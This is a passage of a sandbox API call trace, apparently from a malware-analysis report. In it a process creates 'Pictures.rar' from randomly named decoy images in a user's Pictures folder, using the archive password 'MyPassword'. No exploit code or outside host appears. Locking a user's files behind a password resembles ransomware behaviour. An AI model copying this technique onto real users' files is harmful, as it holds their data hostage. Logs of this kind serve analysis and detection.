nNumberOfBytesToRead=0xed967, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e26d9*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.730] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.730] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.730] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x48) returned 0x26fed0 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.730] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x48) returned 0x26fe80 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.730] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c200 | out: hHeap=0x1b0000) returned 1 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1d0 | out: hHeap=0x1b0000) returned 1 [0063.730] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x5e) returned 0x2730a0 [0063.730] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x9a) returned 0x3b8c5c0 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.730] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c5c0 | out: hHeap=0x1b0000) returned 1 [0063.731] GetTickCount () returned 0xa66441 [0063.731] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13907171906) returned 1 [0063.731] GetTickCount () returned 0xa66441 [0063.731] GetTickCount () returned 0xa66441 [0063.731] GetTickCount () returned 0xa66441 [0063.731] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.731] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.731] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.731] ResetEvent (hEvent=0x1a4) returned 1 [0063.731] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.733] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.733] ResetEvent (hEvent=0x1a4) returned 1 [0063.733] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.735] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.735] ResetEvent (hEvent=0x1a4) returned 1 [0063.735] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.737] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.737] GetTickCount () returned 0xa66441 [0063.737] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13907738609) returned 1 [0063.737] GetTickCount () returned 0xa66441 [0063.737] GetTickCount () returned 0xa66441 [0063.737] GetTickCount () returned 0xa66441 [0063.737] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.737] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.737] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.737] ResetEvent (hEvent=0x190) returned 1 [0063.737] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.738] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] ResetEvent (hEvent=0x190) returned 1 [0063.738] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.738] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.738] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x42750a [0063.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=152, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x4275a2 [0063.738] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.739] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.739] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.739] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.739] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x12730, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x12730, lpOverlapped=0x0) returned 1 [0063.740] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.740] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=4355338, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x42750a [0063.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x42750a [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.740] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x48) returned 0x26fe80 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.740] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x48) returned 0x26fed0 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c200 | out: hHeap=0x1b0000) returned 1 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c1d0 | out: hHeap=0x1b0000) returned 1 [0063.740] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1a0, Size=0x5e) returned 0x2730a0 [0063.740] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x9a) returned 0x3b8c5c0 [0063.740] WriteFile (in: hFile=0x198, lpBuffer=0x3b8c5c2*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8c5c2*, lpNumberOfBytesWritten=0x167f30*=0x98, lpOverlapped=0x0) returned 1 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1a0 [0063.740] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x98) returned 0x280190 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.740] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c5c0 | out: hHeap=0x1b0000) returned 1 [0063.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x439cd2 [0063.740] CloseHandle (hObject=0x1b0) returned 1 [0063.740] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.740] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.740] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.740] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.740] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.740] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.740] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\aeax1crfmianqavi.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.741] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.741] GetTickCount () returned 0xa66441 [0063.741] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.741] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.741] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.741] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.741] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="o7iZDtChRQGlm.png") returned 17 [0063.741] SetWindowTextW (hWnd=0x1024c, lpString="aEAx1CrFMianQavi.jpg") returned 1 [0063.741] GetTickCount () returned 0xa66441 [0063.741] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.741] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.742] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.742] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.742] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x1b2)) [0063.742] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.742] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13908208135) returned 1 [0063.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xac3d, lpOverlapped=0x0) returned 1 [0063.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x36dac7d, nNumberOfBytesToRead=0xf53c3, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36dac7d*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.742] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.742] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.742] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.743] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x48) returned 0x26fed0 [0063.743] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.743] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.743] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x48) returned 0x26fe80 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.743] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.743] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c230 | out: hHeap=0x1b0000) returned 1 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c200 | out: hHeap=0x1b0000) returned 1 [0063.743] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x52) returned 0x3ba9290 [0063.743] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x8e) returned 0x3b8c5c0 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c5c0 | out: hHeap=0x1b0000) returned 1 [0063.744] GetTickCount () returned 0xa66451 [0063.744] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13908451904) returned 1 [0063.744] GetTickCount () returned 0xa66451 [0063.744] GetTickCount () returned 0xa66451 [0063.744] GetTickCount () returned 0xa66451 [0063.744] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.744] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.744] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.745] ResetEvent (hEvent=0x1a4) returned 1 [0063.745] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.850] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.850] ResetEvent (hEvent=0x1a4) returned 1 [0063.850] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.851] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.851] GetTickCount () returned 0xa664be [0063.851] GetLastError () returned 0x0 [0063.851] SetLastError (dwErrCode=0x0) [0063.851] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.851] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.851] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.851] SetWindowTextW (hWnd=0x1024e, lpString=" 100%") returned 1 [0063.852] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.852] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13919196610) returned 1 [0063.852] GetTickCount () returned 0xa664be [0063.852] GetTickCount () returned 0xa664be [0063.852] GetTickCount () returned 0xa664be [0063.852] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.852] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.852] GetFocus () returned 0x0 [0063.852] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.852] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.852] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.852] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.852] ResetEvent (hEvent=0x190) returned 1 [0063.852] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.854] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.854] ResetEvent (hEvent=0x190) returned 1 [0063.854] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.854] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.854] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.854] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x439cd2 [0063.854] SetFilePointer (in: hFile=0x198, lDistanceToMove=140, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x439d5e [0063.854] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.854] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.855] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.855] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.855] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xacb0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xacb0, lpOverlapped=0x0) returned 1 [0063.856] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.856] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.856] SetFilePointer (in: hFile=0x198, lDistanceToMove=4431058, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x439cd2 [0063.856] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x439cd2 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.856] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x48) returned 0x26fe80 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.856] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x48) returned 0x26fed0 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c230 | out: hHeap=0x1b0000) returned 1 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c200 | out: hHeap=0x1b0000) returned 1 [0063.856] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c1d0, Size=0x52) returned 0x3ba9290 [0063.856] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x8e) returned 0x3b8c5c0 [0063.856] WriteFile (in: hFile=0x198, lpBuffer=0x3b8c5c2*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8c5c2*, lpNumberOfBytesWritten=0x167f30*=0x8c, lpOverlapped=0x0) returned 1 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c1d0 [0063.856] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8c) returned 0x3b8c660 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.856] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c5c0 | out: hHeap=0x1b0000) returned 1 [0063.856] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x444a0e [0063.856] CloseHandle (hObject=0x1b0) returned 1 [0063.856] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.856] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.856] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.856] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.856] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.857] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.857] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\ni-wplzkukz.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.857] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.857] GetTickCount () returned 0xa664be [0063.857] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.857] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.857] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.857] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.857] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="aEAx1CrFMianQavi.jpg") returned 20 [0063.857] SetWindowTextW (hWnd=0x1024c, lpString="Ni-WplZKUKZ.gif") returned 1 [0063.857] GetTickCount () returned 0xa664be [0063.857] UpdateWindow (hWnd=0x10244) returned 1 [0063.857] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.857] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.858] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.858] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.858] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x21f)) [0063.858] 